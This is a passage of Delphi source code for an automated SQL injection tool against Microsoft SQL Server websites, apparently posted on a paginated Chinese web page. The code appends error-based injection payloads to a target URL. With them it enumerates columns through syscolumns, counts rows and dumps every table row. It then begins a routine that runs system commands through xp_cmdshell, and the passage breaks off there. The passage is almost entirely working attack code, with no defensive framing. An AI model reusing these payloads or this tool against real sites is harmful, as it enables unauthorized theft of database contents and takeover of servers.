Name) or (isFinish) then Break; Memo1.Lines.Add(''''表名 :''''+TName); //猜解列名 Memo1.Lines.Add(''''''''); Memo1.Lines.Add(''''开始猜解列名.....''''); Memo1.Lines.Add(''''#######################''''); NCharStr :=''''''''; NCharStr :=StrToNChar(DbName,TName); j:=1; while j<1000 do begin ColName :=''''''''; ColName :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)''''+ ''''%20as%20varchar(8000))%20from%20(Select%20Top%20''''+inttostr(j)+''''%20colid,name''''+ ''''%20From%20[''''+DbName+'''']..[syscolumns]%20Where%20id%20=%20''''+NCharStr+ ''''%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0;--''''); if (ColName0=ColName) or (isFinish) then j:=1000 else begin Memo1.Lines.Add(''''列名 ''''+inttostr(j)+'''' :''''+ColName); if j<vFieldCount+1 then begin vfield[j-1] :=ColName; end; ColName0 :=ColName; inc(j); end; end; Memo1.Lines.Add(''''#######################''''); Memo1.Lines.Add(''''列名猜解结束.....''''); Memo1.Lines.Add(''''''''); //猜解数据 Memo1.Lines.Add(''''开始猜解数据.....''''); Memo1.Lines.Add(''''#######################''''); CountStr :=GetWBMsg(Url+''''%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))''''+ ''''%2Bchar(124)%20From%20[''''+TName+'''']%20Where%201=1)>0;--''''); try iCount :=strtoint(CountStr); except Memo1.Lines.add(''''出现意外数据,操作终止!''''); exit; end; Memo1.Lines.Add(''''表 ''''+TName+'''' :共有 ''''+CountStr+'''' 条数据。''''); CFieldStr :=''''''''; FieldStr :=''''''''; FieldOrdStr :=''''''''; for k:=0 to vFieldCount-1 do begin if k=0 then begin CFieldStr :=''''isNull(cast([''''+vfield[0]+'''']%20as%20varchar(8000)),char(32))''''; FieldStr :=''''[''''+vfield[0]+'''']''''; FieldOrdStr :=''''[''''+vfield[0]+'''']%20desc''''; end else begin CFieldStr :=CFieldStr+''''%2B%20%2BisNull(cast([''''+vfield[k]+'''']%20as%20varchar(8000)),char(32))''''; FieldStr :=FieldStr+'''',[''''+vfield[k]+'''']''''; FieldOrdStr :=FieldOrdStr+'''',[''''+vfield[k]+'''']%20desc''''; end; end; k:=1; while k<iCount+1 do begin ValueStr :=''''''''; ValueStr :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20char(124)%2B''''+CFieldStr+''''%2Bchar(124)%20From%20(Select''''+ ''''%20Top%20''''+inttostr(k)+''''%20''''+FieldStr+''''%20From%20[''''+DbName+'''']..[''''+TName+'''']%20Where%201=1''''+ ''''%20Order%20by%20''''+FieldStr+'''')%20T%20Order%20by%20''''+FieldOrdStr+'''')>0;--'''');
if isFinish then k:=iCount+1; Memo1.Lines.Add(''''数据 ''''+inttostr(k)+'''' :''''+ValueStr); inc(k); end; Memo1.Lines.Add(''''#######################''''); Memo1.Lines.Add(''''数据猜解结束.....''''); Memo1.Lines.Add(''''''''); TName0 :=TName; end; Memo1.Lines.Add(''''#######################''''); Memo1.Lines.Add(''''表名猜解结束.....''''); finally Screen.Cursor :=crDefault; BtnStop.Visible :=False; BtnCheck.Visible :=True; end; end;
procedure TForm1.BtnExecuteClick(Sender: TObject); var Url,DbName,CommandStr:string; ResultStr,CountStr:string; iCount,i:integer; begin try Url:=trim(EdtUrl.Text); ResultStr :=''''''''; CommandStr :=''''''''; isCancel :=False; CommandStr:=trim(EdtCommand.Text); CommandStr:=StringReplace(CommandStr,''''%'''',''''%25'''',[rfReplaceAll]); CommandStr:=StringReplace(CommandStr,'''' '''',''''%20'''',[rfReplaceAll]); Memo2.Clear; Screen.Cursor :=crHourGlass; //取得数据库名 DbName :=GetWBMsg(Url+''''%20And%20char(124)%2Bdb_name()%2Bchar(124)=0''''); if (DbName='''''''') or (DbName=''''未知'''') then begin Memo2.Lines.Add(''''未知的数据库,操作终止!''''); exit; end; //Cmd_shell //使用xp_cmdshell来运行系统命令 if rbCmd.Checked then begin //回显 & 上一页 [1] [2] [3] [4] 下一页 |